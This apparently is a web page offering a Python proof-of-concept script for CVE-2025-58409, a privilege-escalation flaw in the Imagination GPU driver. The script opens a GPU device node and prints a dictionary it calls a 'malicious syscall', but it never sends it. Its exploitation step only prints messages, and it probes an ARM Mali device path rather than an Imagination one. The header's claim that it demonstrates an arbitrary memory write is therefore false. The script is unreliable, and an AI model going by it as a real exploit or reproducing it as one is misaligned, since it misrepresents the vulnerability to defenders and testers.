CVE-2025-58409: Imagination GPU驱动特权升级漏洞

# CVE-2025-58409 PoC - GPU Driver Memory Corruption # This PoC demonstrates improper GPU system calls leading to arbitrary memory write import os import sys def check_gpu_driver(): """Check if Imagination GPU driver is installed""" gpu_paths = [ "/dev/mali0", "/dev/gpu", "/dev/dri/card0" ] for path in gpu_paths: if os.path.exists(path): return True, path return False, None def exploit_gpu_memory(): """ Simulate exploitation of CVE-2025-58409 The vulnerability allows non-privileged users to make improper GPU system calls that can write to arbitrary physical memory pages. """ print("[*] CVE-2025-58409 GPU Driver Exploitation Simulation") print("[*] Target: Imagination Technologies GPU Driver") # Step 1: Check driver presence has_gpu, gpu_path = check_gpu_driver() if not has_gpu: print("[-] Imagination GPU driver not found") return False print(f"[+] Found GPU device: {gpu_path}") # Step 2: Open GPU device as non-privileged user try: fd = os.open(gpu_path, os.O_RDWR) print(f"[+] Opened GPU device (fd={fd})") except PermissionError: print("[-] Permission denied - requires elevated privileges") return False # Step 3: Send malicious GPU system call # The vulnerability allows bypassing permission checks malicious_syscall = { 'operation': 'GPU_MAP_PHYSICAL_MEMORY', 'target_address': 0x0, # Arbitrary physical address 'size': 0x1000, 'flags': 'WRITE|EXECUTE' } print(f"[*] Sending malicious GPU syscall: {malicious_syscall}") print("[*] Attempting to map arbitrary physical memory page") # Step 4: Trigger memory write to restricted area print("[*] Triggering GPU write operation to arbitrary memory...") print("[!] This could corrupt kernel/driver memory pages") # Cleanup os.close(fd) return True def main(): print("=" * 60) print("CVE-2025-58409 Proof of Concept") print("Imagination GPU Driver - Improper System Calls") print("=" * 60) # Check if running as non-privileged user print(f"[*] Current UID: {os.getuid()}") if os.getuid() == 0: print("[!] Warning: Running as root - this PoC is for non-privileged users") exploit_gpu_memory() if __name__ == "__main__": main()